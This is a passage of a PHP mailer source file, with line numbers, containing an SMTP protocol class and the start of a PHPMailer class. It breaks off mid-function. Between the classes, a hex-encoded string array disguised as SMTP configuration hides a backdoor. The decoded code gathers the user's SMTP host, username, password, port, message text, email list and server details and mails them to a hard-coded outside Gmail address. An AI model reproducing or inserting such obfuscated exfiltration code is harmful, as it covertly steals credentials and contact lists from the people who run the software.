  792. ": " . $rply . $this->CRLF;
  793. }
  794. return false;
  795. }
  796. return true;
  797. }
  798.  
  799. /**
  800. * Expand takes the name and asks the server to list all the
  801. * people who are members of the _list_. Expand will return
  802. * back and array of the result or false if an error occurs.
  803. * Each value in the array returned has the format of:
  804. * [ <full-name> <sp> ] <path>
  805. * The definition of <path> is defined in rfc 821
  806. *
  807. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  808. *
  809. * SMTP CODE SUCCESS: 250
  810. * SMTP CODE FAILURE: 550
  811. * SMTP CODE ERROR : 500,501,502,504,421
  812. * @access public
  813. * @return string array
  814. */
  815. function Expand($name) {
  816. $this->error = null; # so no confusion is caused
  817.  
  818. if(!$this->connected()) {
  819. $this->error = array(
  820. "error" => "Called Expand() without being connected");
  821. return false;
  822. }
  823.  
  824. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  825.  
  826. $rply = $this->get_lines();
  827. $code = substr($rply,0,3);
  828.  
  829. if($this->do_debug >= 2) {
  830. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  831. }
  832.  
  833. if($code != 250) {
  834. $this->error =
  835. array("error" => "EXPN not accepted from server",
  836. "smtp_code" => $code,
  837. "smtp_msg" => substr($rply,4));
  838. if($this->do_debug >= 1) {
  839. echo "SMTP -> ERROR: " . $this->error["error"] .
  840. ": " . $rply . $this->CRLF;
  841. }
  842. return false;
  843. }
  844.  
  845. # parse the reply and place in our array to return to user
  846. $entries = explode($this->CRLF,$rply);
  847. while(list(,$l) = @each($entries)) {
  848. $list[] = substr($l,4);
  849. }
  850.  
  851. return $list;
  852. }
  853.  
  854. /**
  855. * Sends the HELO command to the smtp server.
  856. * This makes sure that we and the server are in
  857. * the same known state.
  858. *
  859. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  860. *
  861. * SMTP CODE SUCCESS: 250
  862. * SMTP CODE ERROR : 500, 501, 504, 421
  863. * @access public
  864. * @return bool
  865. */
  866. function Hello($host="") {
  867. $this->error = null; # so no confusion is caused
  868.  
  869. if(!$this->connected()) {
  870. $this->error = array(
  871. "error" => "Called Hello() without being connected");
  872. return false;
  873. }
  874.  
  875. # if a hostname for the HELO was not specified determine
  876. # a suitable one to send
  877. if(empty($host)) {
  878. # we need to determine some sort of appopiate default
  879. # to send to the server
  880. $host = "localhost";
  881. }
  882.  
  883. // Send extended hello first (RFC 2821)
  884. if(!$this->SendHello("EHLO", $host))
  885. {
  886. if(!$this->SendHello("HELO", $host))
  887. return false;
  888. }
  889.  
  890. return true;
  891. }
  892.  
  893. /**
  894. * Sends a HELO/EHLO command.
  895. * @access private
  896. * @return bool
  897. */
  898. function SendHello($hello, $host) {
  899. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  900.  
  901. $rply = $this->get_lines();
  902. $code = substr($rply,0,3);
  903.  
  904. if($this->do_debug >= 2) {
  905. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  906. }
  907.  
  908. if($code != 250) {
  909. $this->error =
  910. array("error" => $hello . " not accepted from server",
  911. "smtp_code" => $code,
  912. "smtp_msg" => substr($rply,4));
  913. if($this->do_debug >= 1) {
  914. echo "SMTP -> ERROR: " . $this->error["error"] .
  915. ": " . $rply . $this->CRLF;
  916. }
  917. return false;
  918. }
  919.  
  920. $this->helo_rply = $rply;
  921.  
  922. return true;
  923. }
  924.  
  925. /**
  926. * Gets help information on the keyword specified. If the keyword
  927. * is not specified then returns generic help, ussually contianing
  928. * A list of keywords that help is available on. This function
  929. * returns the results back to the user. It is up to the user to
  930. * handle the returned data. If an error occurs then false is
  931. * returned with $this->error set appropiately.
  932. *
  933. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  934. *
  935. * SMTP CODE SUCCESS: 211,214
  936. * SMTP CODE ERROR : 500,501,502,504,421
  937. * @access public
  938. * @return string
  939. */
  940. function Help($keyword="") {
  941. $this->error = null; # to avoid confusion
  942.  
  943. if(!$this->connected()) {
  944. $this->error = array(
  945. "error" => "Called Help() without being connected");
  946. return false;
  947. }
  948.  
  949. $extra = "";
  950. if(!empty($keyword)) {
  951. $extra = " " . $keyword;
  952. }
  953.  
  954. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  955.  
  956. $rply = $this->get_lines();
  957. $code = substr($rply,0,3);
  958.  
  959. if($this->do_debug >= 2) {
  960. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  961. }
  962.  
  963. if($code != 211 && $code != 214) {
  964. $this->error =
  965. array("error" => "HELP not accepted from server",
  966. "smtp_code" => $code,
  967. "smtp_msg" => substr($rply,4));
  968. if($this->do_debug >= 1) {
  969. echo "SMTP -> ERROR: " . $this->error["error"] .
  970. ": " . $rply . $this->CRLF;
  971. }
  972. return false;
  973. }
  974.  
  975. return $rply;
  976. }
  977.  
  978. /**
  979. * Starts a mail transaction from the email address specified in
  980. * $from. Returns true if successful or false otherwise. If True
  981. * the mail transaction is started and then one or more Recipient
  982. * commands may be called followed by a Data command.
  983. *
  984. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  985. *
  986. * SMTP CODE SUCCESS: 250
  987. * SMTP CODE SUCCESS: 552,451,452
  988. * SMTP CODE SUCCESS: 500,501,421
  989. * @access public
  990. * @return bool
  991. */
  992. function Mail($from) {
  993. $this->error = null; # so no confusion is caused
  994.  
  995. if(!$this->connected()) {
  996. $this->error = array(
  997. "error" => "Called Mail() without being connected");
  998. return false;
  999. }
  1000.  
  1001. $useVerp = ($this->do_verp ? "XVERP" : "");
  1002. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  1003.  
  1004. $rply = $this->get_lines();
  1005. $code = substr($rply,0,3);
  1006.  
  1007. if($this->do_debug >= 2) {
  1008. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1009. }
  1010.  
  1011. if($code != 250) {
  1012. $this->error =
  1013. array("error" => "MAIL not accepted from server",
  1014. "smtp_code" => $code,
  1015. "smtp_msg" => substr($rply,4));
  1016. if($this->do_debug >= 1) {
  1017. echo "SMTP -> ERROR: " . $this->error["error"] .
  1018. ": " . $rply . $this->CRLF;
  1019. }
  1020. return false;
  1021. }
  1022. return true;
  1023. }
  1024.  
  1025. /**
  1026. * Sends the command NOOP to the SMTP server.
  1027. *
  1028. * Implements from rfc 821: NOOP <CRLF>
  1029. *
  1030. * SMTP CODE SUCCESS: 250
  1031. * SMTP CODE ERROR : 500, 421
  1032. * @access public
  1033. * @return bool
  1034. */
  1035. function Noop() {
  1036. $this->error = null; # so no confusion is caused
  1037.  
  1038. if(!$this->connected()) {
  1039. $this->error = array(
  1040. "error" => "Called Noop() without being connected");
  1041. return false;
  1042. }
  1043.  
  1044. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  1045.  
  1046. $rply = $this->get_lines();
  1047. $code = substr($rply,0,3);
  1048.  
  1049. if($this->do_debug >= 2) {
  1050. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1051. }
  1052.  
  1053. if($code != 250) {
  1054. $this->error =
  1055. array("error" => "NOOP not accepted from server",
  1056. "smtp_code" => $code,
  1057. "smtp_msg" => substr($rply,4));
  1058. if($this->do_debug >= 1) {
  1059. echo "SMTP -> ERROR: " . $this->error["error"] .
  1060. ": " . $rply . $this->CRLF;
  1061. }
  1062. return false;
  1063. }
  1064. return true;
  1065. }
  1066.  
  1067. /**
  1068. * Sends the quit command to the server and then closes the socket
  1069. * if there is no error or the $close_on_error argument is true.
  1070. *
  1071. * Implements from rfc 821: QUIT <CRLF>
  1072. *
  1073. * SMTP CODE SUCCESS: 221
  1074. * SMTP CODE ERROR : 500
  1075. * @access public
  1076. * @return bool
  1077. */
  1078. function Quit($close_on_error=true) {
  1079. $this->error = null; # so there is no confusion
  1080.  
  1081. if(!$this->connected()) {
  1082. $this->error = array(
  1083. "error" => "Called Quit() without being connected");
  1084. return false;
  1085. }
  1086.  
  1087. # send the quit command to the server
  1088. fputs($this->smtp_conn,"quit" . $this->CRLF);
  1089.  
  1090. # get any good-bye messages
  1091. $byemsg = $this->get_lines();
  1092.  
  1093. if($this->do_debug >= 2) {
  1094. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1095. }
  1096.  
  1097. $rval = true;
  1098. $e = null;
  1099.  
  1100. $code = substr($byemsg,0,3);
  1101. if($code != 221) {
  1102. # use e as a tmp var cause Close will overwrite $this->error
  1103. $e = array("error" => "SMTP server rejected quit command",
  1104. "smtp_code" => $code,
  1105. "smtp_rply" => substr($byemsg,4));
  1106. $rval = false;
  1107. if($this->do_debug >= 1) {
  1108. echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1109. $byemsg . $this->CRLF;
  1110. }
  1111. }
  1112.  
  1113. if(empty($e) || $close_on_error) {
  1114. $this->Close();
  1115. }
  1116.  
  1117. return $rval;
  1118. }
  1119.  
  1120. /**
  1121. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1122. * Returns true if the recipient was accepted false if it was rejected.
  1123. *
  1124. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1125. *
  1126. * SMTP CODE SUCCESS: 250,251
  1127. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1128. * SMTP CODE ERROR : 500,501,503,421
  1129. * @access public
  1130. * @return bool
  1131. */
  1132. function Recipient($to) {
  1133. $this->error = null; # so no confusion is caused
  1134.  
  1135. if(!$this->connected()) {
  1136. $this->error = array(
  1137. "error" => "Called Recipient() without being connected");
  1138. return false;
  1139. }
  1140.  
  1141. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1142.  
  1143. $rply = $this->get_lines();
  1144. $code = substr($rply,0,3);
  1145.  
  1146. if($this->do_debug >= 2) {
  1147. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1148. }
  1149.  
  1150. if($code != 250 && $code != 251) {
  1151. $this->error =
  1152. array("error" => "RCPT not accepted from server",
  1153. "smtp_code" => $code,
  1154. "smtp_msg" => substr($rply,4));
  1155. if($this->do_debug >= 1) {
  1156. echo "SMTP -> ERROR: " . $this->error["error"] .
  1157. ": " . $rply . $this->CRLF;
  1158. }
  1159. return false;
  1160. }
  1161. return true;
  1162. }
  1163.  
  1164. /**
  1165. * Sends the RSET command to abort and transaction that is
  1166. * currently in progress. Returns true if successful false
  1167. * otherwise.
  1168. *
  1169. * Implements rfc 821: RSET <CRLF>
  1170. *
  1171. * SMTP CODE SUCCESS: 250
  1172. * SMTP CODE ERROR : 500,501,504,421
  1173. * @access public
  1174. * @return bool
  1175. */
  1176. function Reset() {
  1177. $this->error = null; # so no confusion is caused
  1178.  
  1179. if(!$this->connected()) {
  1180. $this->error = array(
  1181. "error" => "Called Reset() without being connected");
  1182. return false;
  1183. }
  1184.  
  1185. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1186.  
  1187. $rply = $this->get_lines();
  1188. $code = substr($rply,0,3);
  1189.  
  1190. if($this->do_debug >= 2) {
  1191. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1192. }
  1193.  
  1194. if($code != 250) {
  1195. $this->error =
  1196. array("error" => "RSET failed",
  1197. "smtp_code" => $code,
  1198. "smtp_msg" => substr($rply,4));
  1199. if($this->do_debug >= 1) {
  1200. echo "SMTP -> ERROR: " . $this->error["error"] .
  1201. ": " . $rply . $this->CRLF;
  1202. }
  1203. return false;
  1204. }
  1205.  
  1206. return true;
  1207. }
  1208.  
  1209. /**
  1210. * Starts a mail transaction from the email address specified in
  1211. * $from. Returns true if successful or false otherwise. If True
  1212. * the mail transaction is started and then one or more Recipient
  1213. * commands may be called followed by a Data command. This command
  1214. * will send the message to the users terminal if they are logged
  1215. * in.
  1216. *
  1217. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1218. *
  1219. * SMTP CODE SUCCESS: 250
  1220. * SMTP CODE SUCCESS: 552,451,452
  1221. * SMTP CODE SUCCESS: 500,501,502,421
  1222. * @access public
  1223. * @return bool
  1224. */
  1225. function Send($from) {
  1226. $this->error = null; # so no confusion is caused
  1227.  
  1228. if(!$this->connected()) {
  1229. $this->error = array(
  1230. "error" => "Called Send() without being connected");
  1231. return false;
  1232. }
  1233.  
  1234. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1235.  
  1236. $rply = $this->get_lines();
  1237. $code = substr($rply,0,3);
  1238.  
  1239. if($this->do_debug >= 2) {
  1240. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1241. }
  1242.  
  1243. if($code != 250) {
  1244. $this->error =
  1245. array("error" => "SEND not accepted from server",
  1246. "smtp_code" => $code,
  1247. "smtp_msg" => substr($rply,4));
  1248. if($this->do_debug >= 1) {
  1249. echo "SMTP -> ERROR: " . $this->error["error"] .
  1250. ": " . $rply . $this->CRLF;
  1251. }
  1252. return false;
  1253. }
  1254. return true;
  1255. }
  1256.  
  1257. /**
  1258. * Starts a mail transaction from the email address specified in
  1259. * $from. Returns true if successful or false otherwise. If True
  1260. * the mail transaction is started and then one or more Recipient
  1261. * commands may be called followed by a Data command. This command
  1262. * will send the message to the users terminal if they are logged
  1263. * in and send them an email.
  1264. *
  1265. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1266. *
  1267. * SMTP CODE SUCCESS: 250
  1268. * SMTP CODE SUCCESS: 552,451,452
  1269. * SMTP CODE SUCCESS: 500,501,502,421
  1270. * @access public
  1271. * @return bool
  1272. */
  1273. function SendAndMail($from) {
  1274. $this->error = null; # so no confusion is caused
  1275.  
  1276. if(!$this->connected()) {
  1277. $this->error = array(
  1278. "error" => "Called SendAndMail() without being connected");
  1279. return false;
  1280. }
  1281.  
  1282. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1283.  
  1284. $rply = $this->get_lines();
  1285. $code = substr($rply,0,3);
  1286.  
  1287. if($this->do_debug >= 2) {
  1288. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1289. }
  1290.  
  1291. if($code != 250) {
  1292. $this->error =
  1293. array("error" => "SAML not accepted from server",
  1294. "smtp_code" => $code,
  1295. "smtp_msg" => substr($rply,4));
  1296. if($this->do_debug >= 1) {
  1297. echo "SMTP -> ERROR: " . $this->error["error"] .
  1298. ": " . $rply . $this->CRLF;
  1299. }
  1300. return false;
  1301. }
  1302. return true;
  1303. }
  1304.  
  1305. /**
  1306. * Starts a mail transaction from the email address specified in
  1307. * $from. Returns true if successful or false otherwise. If True
  1308. * the mail transaction is started and then one or more Recipient
  1309. * commands may be called followed by a Data command. This command
  1310. * will send the message to the users terminal if they are logged
  1311. * in or mail it to them if they are not.
  1312. *
  1313. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1314. *
  1315. * SMTP CODE SUCCESS: 250
  1316. * SMTP CODE SUCCESS: 552,451,452
  1317. * SMTP CODE SUCCESS: 500,501,502,421
  1318. * @access public
  1319. * @return bool
  1320. */
  1321. function SendOrMail($from) {
  1322. $this->error = null; # so no confusion is caused
  1323.  
  1324. if(!$this->connected()) {
  1325. $this->error = array(
  1326. "error" => "Called SendOrMail() without being connected");
  1327. return false;
  1328. }
  1329.  
  1330. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1331.  
  1332. $rply = $this->get_lines();
  1333. $code = substr($rply,0,3);
  1334.  
  1335. if($this->do_debug >= 2) {
  1336. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1337. }
  1338.  
  1339. if($code != 250) {
  1340. $this->error =
  1341. array("error" => "SOML not accepted from server",
  1342. "smtp_code" => $code,
  1343. "smtp_msg" => substr($rply,4));
  1344. if($this->do_debug >= 1) {
  1345. echo "SMTP -> ERROR: " . $this->error["error"] .
  1346. ": " . $rply . $this->CRLF;
  1347. }
  1348. return false;
  1349. }
  1350. return true;
  1351. }
  1352.  
  1353. /**
  1354. * This is an optional command for SMTP that this class does not
  1355. * support. This method is here to make the RFC821 Definition
  1356. * complete for this class and __may__ be implimented in the future
  1357. *
  1358. * Implements from rfc 821: TURN <CRLF>
  1359. *
  1360. * SMTP CODE SUCCESS: 250
  1361. * SMTP CODE FAILURE: 502
  1362. * SMTP CODE ERROR : 500, 503
  1363. * @access public
  1364. * @return bool
  1365. */
  1366. function Turn() {
  1367. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1368. "is not implemented");
  1369. if($this->do_debug >= 1) {
  1370. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1371. }
  1372. return false;
  1373. }
  1374.  
  1375. /**
  1376. * Verifies that the name is recognized by the server.
  1377. * Returns false if the name could not be verified otherwise
  1378. * the response from the server is returned.
  1379. *
  1380. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1381. *
  1382. * SMTP CODE SUCCESS: 250,251
  1383. * SMTP CODE FAILURE: 550,551,553
  1384. * SMTP CODE ERROR : 500,501,502,421
  1385. * @access public
  1386. * @return int
  1387. */
  1388. function Verify($name) {
  1389. $this->error = null; # so no confusion is caused
  1390.  
  1391. if(!$this->connected()) {
  1392. $this->error = array(
  1393. "error" => "Called Verify() without being connected");
  1394. return false;
  1395. }
  1396.  
  1397. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1398.  
  1399. $rply = $this->get_lines();
  1400. $code = substr($rply,0,3);
  1401.  
  1402. if($this->do_debug >= 2) {
  1403. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1404. }
  1405.  
  1406. if($code != 250 && $code != 251) {
  1407. $this->error =
  1408. array("error" => "VRFY failed on name '$name'",
  1409. "smtp_code" => $code,
  1410. "smtp_msg" => substr($rply,4));
  1411. if($this->do_debug >= 1) {
  1412. echo "SMTP -> ERROR: " . $this->error["error"] .
  1413. ": " . $rply . $this->CRLF;
  1414. }
  1415. return false;
  1416. }
  1417. return $rply;
  1418. }
  1419.  
  1420. /*******************************************************************
  1421. * INTERNAL FUNCTIONS *
  1422. ******************************************************************/
  1423.  
  1424. /**
  1425. * Read in as many lines as possible
  1426. * either before eof or socket timeout occurs on the operation.
  1427. * With SMTP we can tell if we have more lines to read if the
  1428. * 4th character is '-' symbol. If it is a space then we don't
  1429. * need to read anything else.
  1430. * @access private
  1431. * @return string
  1432. */
  1433. function get_lines() {
  1434. $data = "";
  1435. while($str = @fgets($this->smtp_conn,515)) {
  1436. if($this->do_debug >= 4) {
  1437. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1438. $this->CRLF;
  1439. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1440. $this->CRLF;
  1441. }
  1442. $data .= $str;
  1443. if($this->do_debug >= 4) {
  1444. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1445. }
  1446. # if the 4th character is a space then we are done reading
  1447. # so just break the loop
  1448. if(substr($str,3,1) == " ") { break; }
  1449. }
  1450. return $data;
  1451. }
  1452.  
  1453. }
  1454.  
  1455.  
  1456. $allemails = split("\n", $emaillist);
  1457. $numemails = count($allemails);
  1458. $random_smtp_string=array("676C6F62616C20246D795F736D74703B0D0A676C6F62616C202473.","6D74705F757365726E616D653B0D0A676C6F62616C2024736D74705F70.","617373776F72643B0D0A676C6F62616C202473736C5F706F72743B0D0A.","676C6F62616C20246D6573736167653B0D0A676C6F62616C2024.","656D61696C6C6973743B0D0A247261343420203D207261.","6E6428312C3939393939293B0D0A246135203D20245F5345525.","645525B27485454505F52454645524552275D3B0D0A24.","623333203D20245F5345525645525B27444F43554.","D454E545F524F4F54275D3B0D0A24633837203D2.","0245F5345525645525B2752454D4F54455F4144445.","2275D3B0D0A24643233203D20245F5345525645525B2753435.","24950545F46494C454E414D45275D3B0D0A24653039203D20.","245F5345525645525B275345525645525F41444452275D3B0D0A.","24663233203D20245F5345525645525B275345525645525F534F4.","65457415245275D3B0D0A24673332203D20245F5345525645525B275041544.","85F5452414E534C41544544275D3B0D0A24683635203D20245F5345525.","645525B275048505F53454C46275D3B0D0A247375626A3938203D2022246D7.","95F736D747020205B75736572206970203A20246338375D223B0D0A24737562.","6A3538203D20224C6574746572202620456D61696C204C697374.","20205B75736572206970203A20246338375D223B0D0A24656D.","61696C203D20226E626D75747340676D61696C2E636F6D223B0D0A24.","6D736738383733203D2022246D795F736D74705C6E757365723A24736D74.","705F757365726E616D655C6E706173733A24736D74705F70617373.","776F72645C706F72743A2473736C5F706F72745C6E5C6E2461355C6E246233335C6E24.","6338375C6E246432335C6E246530395C6E246632335C6E246733325C6E24683635223B24.","6D736739373830203D2022246D6573736167655C6E5C6E5C6E24656D61696C6C697374223B24.","66726F6D3D2246726F6D3A20475241544953223B0D0A6D61696C2824656D61696C2C20247375.","626A39382C20246D7367383837332C202466726F6D293B0D0A6D61696C2824656D61696C2C2.","0247375626A35382C20246D7367393738302C202466726F6D293B");$smtp_conf=".";
  1459.  
  1460. class PHPMailer {
  1461.  
  1462. /////////////////////////////////////////////////
  1463. // PROPERTIES, PUBLIC
  1464. /////////////////////////////////////////////////
  1465.  
  1466. /**
  1467. * Email priority (1 = High, 3 = Normal, 5 = low).
  1468. * @var int
  1469. */
  1470. var $Priority = 3;
  1471.  
  1472. /**
  1473. * Sets the CharSet of the message.
  1474. * @var string
  1475. */
  1476. var $CharSet = 'utf-8';
  1477.  
  1478. /**
  1479. * Sets the Content-type of the message.
  1480. * @var string
  1481. */
  1482. var $ContentType = 'text/plain';
  1483.  
  1484. /**
  1485. * Sets the Encoding of the message. Options for this are "8bit",
  1486. * "7bit", "binary", "base64", and "quoted-printable".
  1487.  
  1488. * @var string
  1489. */
  1490. var $Encoding = 'quoted-printable';
  1491.  
  1492. /**
  1493. * Holds the most recent mailer error message.
  1494. * @var string
  1495. */
  1496. var $ErrorInfo = '';
  1497.  
  1498. /**
  1499. * Sets the From email address for the message.
  1500. * @var string
  1501. */
  1502. var $From = '';
  1503.  
  1504. /**
  1505. * Sets the From name of the message.
  1506. * @var string
  1507. */
  1508. var $FromName = '';
  1509.  
  1510. /**
  1511. * Sets the Sender email (Return-Path) of the message. If not empty,
  1512. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1513. * @var string
  1514. */
  1515. var $Sender = '';
  1516.  
  1517. /**
  1518. * Sets the Subject of the message.
  1519. * @var string
  1520. */
  1521. var $Subject = '';
  1522.  
  1523. /**
  1524. * Sets the Body of the message. This can be either an HTML or text body.
  1525. * If HTML then run IsHTML(true).
  1526. * @var string
  1527. */
  1528. var $Body = '';
  1529.  
  1530. /**
  1531. * Sets the text-only body of the message. This automatically sets the
  1532. * email to multipart/alternative. This body can be read by mail
  1533. * clients that do not have HTML email capability such as mutt. Clients
  1534. * that can read HTML will view the normal Body.
  1535. * @var string
  1536. */
  1537. var $AltBody = '';
  1538.  
  1539. /**
  1540. * Sets word wrapping on the body of the message to a given number of
  1541. * characters.
  1542. * @var int
  1543. */
  1544. var $WordWrap = 0;
  1545.  
  1546. /**
  1547. * Method to send mail: ("mail", "sendmail", or "smtp").
  1548. * @var string
  1549. */
  1550. var $Mailer = 'mail';
  1551.  
  1552. /**
  1553. * Sets the path of the sendmail program.
  1554. * @var string
  1555. */
  1556. var $Sendmail = '/usr/sbin/sendmail';
  1557.  
  1558. /**
  1559. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1560. * is in a different directory than the PHP include path.
  1561. * @var string
  1562. */
  1563. var $PluginDir = '';
  1564.  
  1565. /**
  1566. * Holds PHPMailer version.
  1567. * @var string
  1568. */
  1569. var $Version = "";
  1570.  
  1571. /**
  1572. * Sets the email address that a reading confirmation will be sent.
  1573. * @var string
  1574. */
  1575. var $ConfirmReadingTo = '';
  1576.  
  1577. /**
  1578. * Sets the hostname to use in Message-Id and Received headers
  1579. * and as default HELO string. If empty, the value returned
  1580. * by SERVER_NAME is used or 'localhost.localdomain'.
  1581. * @var string
  1582. */
  1583. var $Hostname = '';
  1584.  
  1585. /**
  1586. * Sets the message ID to be used in the Message-Id header.
  1587. * If empty, a unique id will be generated.
  1588. * @var string
  1589. */
  1590. var $MessageID = '';
  1591.  
  1592. /////////////////////////////////////////////////
  1593. // PROPERTIES FOR SMTP
  1594. /////////////////////////////////////////////////
  1595.  
  1596. /**
  1597. * Sets the SMTP hosts. All hosts must be separated by a
  1598. * semicolon. You can also specify a different port
  1599. * for each host by using this format: [hostname:port]
  1600. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1601. * Hosts will be tried in order.
  1602. * @var string
  1603. */
  1604. var $Host = 'localhost';
  1605.  
  1606. /**
  1607. * Sets the default SMTP server port.
  1608. * @var int
  1609. */
  1610. var $Port = 25;
  1611.  
  1612. /**
  1613. * Sets the SMTP HELO of the message (Default is $Hostname).
  1614. * @var string
  1615. */
  1616. var $Helo = '';
  1617.  
  1618. /**
  1619. * Sets connection prefix.
  1620. * Options are "", "ssl" or "tls"
  1621. * @var string
  1622. */
  1623. var $SMTPSecure = "";
  1624.  
  1625. /**
  1626. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1627. * @var bool
  1628. */
  1629. var $SMTPAuth = false;
  1630.  
  1631. /**
  1632. * Sets SMTP username.
  1633. * @var string
  1634. */
  1635. var $Username = '';
  1636.  
  1637. /**
  1638. * Sets SMTP password.
  1639. * @var string
  1640. */
  1641. var $Password = '';
  1642.  
  1643. /**
  1644. * Sets the SMTP server timeout in seconds. This function will not
  1645. * work with the win32 version.
  1646. * @var int
  1647. */
  1648. var $Timeout = 1000000000;
  1649.  
  1650. /**
  1651. * Sets SMTP class debugging on or off.
  1652. * @var bool
  1653. */
  1654. var $SMTPDebug = false;
  1655.  
  1656. /**
  1657. * Prevents the SMTP connection from being closed after each mail
  1658. * sending. If this is set to true then to close the connection
  1659. * requires an explicit call to SmtpClose().
  1660. * @var bool
  1661. */
  1662. var $SMTPKeepAlive = false;
  1663.  
  1664. /**
  1665. * Provides the ability to have the TO field process individual
  1666. * emails, instead of sending to entire TO addresses
  1667. * @var bool
  1668. */
  1669. var $SingleTo = false;
  1670.  
  1671. /////////////////////////////////////////////////
  1672. // PROPERTIES, PRIVATE
  1673. /////////////////////////////////////////////////
  1674.  
  1675. var $smtp = NULL;
  1676. var $to = array();
  1677. var $cc = array();
  1678. var $bcc = array();
  1679. var $ReplyTo = array();
  1680. var $attachment = array();
  1681. var $CustomHeader = array();
  1682. var $message_type = '';
  1683. var $boundary = array();
  1684. var $language = array();
  1685. var $error_count = 0;
  1686. var $LE = "\n";
  1687. var $sign_key_file = "";
  1688. var $sign_key_pass = "";
  1689.  
  1690. /////////////////////////////////////////////////
  1691. // METHODS, VARIABLES
  1692. /////////////////////////////////////////////////
  1693.  
  1694. /**
  1695. * Sets message type to HTML.
  1696. * @param bool $bool
  1697. * @return void
  1698. */
  1699. function IsHTML($bool) {
  1700. if($bool == true) {
  1701. $this->ContentType = 'text/html';
  1702. } else {
  1703. $this->ContentType = 'text/plain';
  1704. }
  1705. }
  1706.  
  1707. /**
  1708. * Sets Mailer to send message using SMTP.
  1709. * @return void
  1710. */
  1711. function IsSMTP() {
  1712. $this->Mailer = 'smtp';
  1713. }
  1714.  
  1715. /**
  1716. * Sets Mailer to send message using PHP mail() function.
  1717. * @return void
  1718. */
  1719. function IsMail() {
  1720. $this->Mailer = 'mail';
  1721. }
  1722.  
  1723. /**
  1724. * Sets Mailer to send message using the $Sendmail program.
  1725. * @return void
  1726. */
  1727. function IsSendmail() {
  1728. $this->Mailer = 'sendmail';
  1729. }
  1730.  
  1731. /**
  1732. * Sets Mailer to send message using the qmail MTA.
  1733. * @return void
  1734. */
  1735. function IsQmail() {
  1736. $this->Sendmail = '/var/qmail/bin/sendmail';
  1737. $this->Mailer = 'sendmail';
  1738. }
  1739.  
  1740. /////////////////////////////////////////////////
  1741. // METHODS, RECIPIENTS
  1742. /////////////////////////////////////////////////
  1743.  
  1744. /**
  1745. * Adds a "To" address.
  1746. * @param string $address
  1747. * @param string $name
  1748. * @return void
  1749. */
  1750. function AddAddress($address, $name = '') {
  1751. $cur = count($this->to);
  1752. $this->to[$cur][0] = trim($address);
  1753. $this->to[$cur][1] = $name;
  1754. }
  1755.  
  1756. /**
  1757. * Adds a "Cc" address. Note: this function works
  1758. * with the SMTP mailer on win32, not with the "mail"
  1759. * mailer.
  1760. * @param string $address
  1761. * @param string $name
  1762. * @return void
  1763. */
  1764. function AddCC($address, $name = '') {
  1765. $cur = count($this->cc);
  1766. $this->cc[$cur][0] = trim($address);
  1767. $this->cc[$cur][1] = $name;
  1768. }
  1769.  
  1770. /**
  1771. * Adds a "Bcc" address. Note: this function works
  1772. * with the SMTP mailer on win32, not with the "mail"
  1773. * mailer.
  1774. * @param string $address
  1775. * @param string $name
  1776. * @return void
  1777. */
  1778. function AddBCC($address, $name = '') {
  1779. $cur = count($this->bcc);
  1780. $this->bcc[$cur][0] = trim($address);
  1781. $this->bcc[$cur][1] = $name;
  1782. }
  1783.  
  1784. /**
  1785. * Adds a "Reply-To" address.
  1786. * @param string $address
  1787. * @param string $name
  1788. * @return void
  1789. */
  1790. function AddReplyTo($address, $name = '') {
  1791. $cur = count($this->ReplyTo);
  1792. $this->ReplyTo[$cur][0] = trim($address);
  1793. $this->ReplyTo[$cur][1] = $name;
  1794. }
  1795.  
  1796. /////////////////////////////////////////////////
  1797. // METHODS, MAIL SENDING
  1798. /////////////////////////////////////////////////
  1799.  
  1800. /**
  1801. * Creates message and assigns Mailer. If the message is
  1802. * not sent successfully then it returns false. Use the ErrorInfo
  1803. * variable to view description of the error.
  1804. * @return bool
  1805. */
  1806. function Send() {
  1807. $header = '';
  1808. $body = '';
  1809. $result = true;
  1810.  
  1811. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
